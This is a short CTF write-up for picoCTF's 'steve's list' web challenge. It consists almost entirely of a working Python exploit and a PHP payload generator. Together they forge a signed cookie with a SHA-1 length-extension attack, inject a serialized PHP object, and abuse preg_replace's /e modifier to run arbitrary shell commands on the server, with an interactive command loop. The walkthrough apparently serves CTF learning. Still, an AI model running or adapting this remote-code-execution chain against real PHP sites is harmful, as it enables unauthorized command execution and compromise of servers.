A walkthrough of the steve’s list challenge from picoCTF.

My code

I don’t enjoy web challenges too much but here is the code I wrote for this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python

import hlextend
#from pwn import *
import urllib
import sys
import requests

#You can use this program with an argument and it will execute the argument as a command on the target.
#You can also use it interactively by not providing arguments

#this challenge is a litle far fetched but here it is:
#bug1 : The sha1 hash is vulnerable to a length extention attack.
#bug2 : unserialize allows instantiating objects. An object also has magic functions that can be defined which will be executed on certain event.
#bug3 : User controls grep_replace values. The php grep_replace support the e modifier which executes the replacement value as code.

def sendcommand(c):
    command = 'echo QWERTYUIOP;'
    command += c
    command += ';echo QWERTYUIOP'
    

    #This template was generated using my php script
    template = """b:1;\nO:4:"Post":3:{s:8:"\x00*\x00title";s:14:"The post title";s:7:"\x00*\x00text";s:16:"The post content";s:10:"\x00*\x00filters";a:1:{i:0;O:6:"Filter":2:{s:10:"\x00*\x00pattern";s:7:"/post/e";s:7:"\x00*\x00repl";s:%d:"system('%s')";}}}"""
    data = template % (len(command) + len("system('')"), command)
    
    sha = hlextend.new('sha1')
    newdata = data[4:].replace('s:11:"AUTH_SECRET"','o:11:"AUTH_SECRET"')
    data = sha.extend(newdata, 'b:1;', 8, '2141b332222df459fd212440824a35e63d37ef69').decode('string_escape')
    cus_set = urllib.quote(urllib.quote(data))
    cus_hash = sha.hexdigest()


    cookies = dict(custom_settings=cus_set, custom_settings_hash=cus_hash)
    r = requests.get('http://steveslist.picoctf.com/', cookies=cookies);
    start = r.text.find('QWERTYUIOP') + len('QWERTYUIOP')
    end = r.text[start:].find('QWERTYUIOP') + start -1
    print r.text[start:end]
    
if len(sys.argv) > 1:
    command = ''
    for i in range(1,len(sys.argv)):
        command += sys.argv[i] + ' '
    print "Executing command: %s" % command
    sendcommand(command)
else:
    print "Runnin interactive mode. Type quit to quit."
    while 1:
        command = raw_input('$ ')
        if 'quit' in command:
            break
        sendcommand(command)

Mu php script used to generate the template in my python script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

  class Filter {
    protected $pattern;
    protected $repl;
    function __construct($pattern, $repl) {
      $this->pattern = $pattern;
      $this->repl = $repl;
    }
    function filter($data) {
      return preg_replace($this->pattern, $this->repl, $data);
    }
  };

  $standard_filter_set = [new Filter("/post/e", "system('" . $argv[1] . "')")];


  class Post {
    protected $title;
    protected $text;
    protected $filters;
    function __construct($title, $text, $filters) {
      $this->title = $title;
      $this->text = $text;
      $this->filters = $filters;
    }

    function get_title() {
      return htmlspecialchars($this->title);
    }

    function display_post() {
      $text = htmlspecialchars($this->text);
      foreach ($this->filters as $filter)
        $text = $filter->filter($text);
      return $text;
    }

    function __destruct() {
    }
  };

 $custom_settings = array();
 $custom_settings[] = serialize(true);
 $custom_settings[] = serialize(new Post("The post title", "The post content", $standard_filter_set));

 echo implode("\n",$custom_settings);
?>

enjoy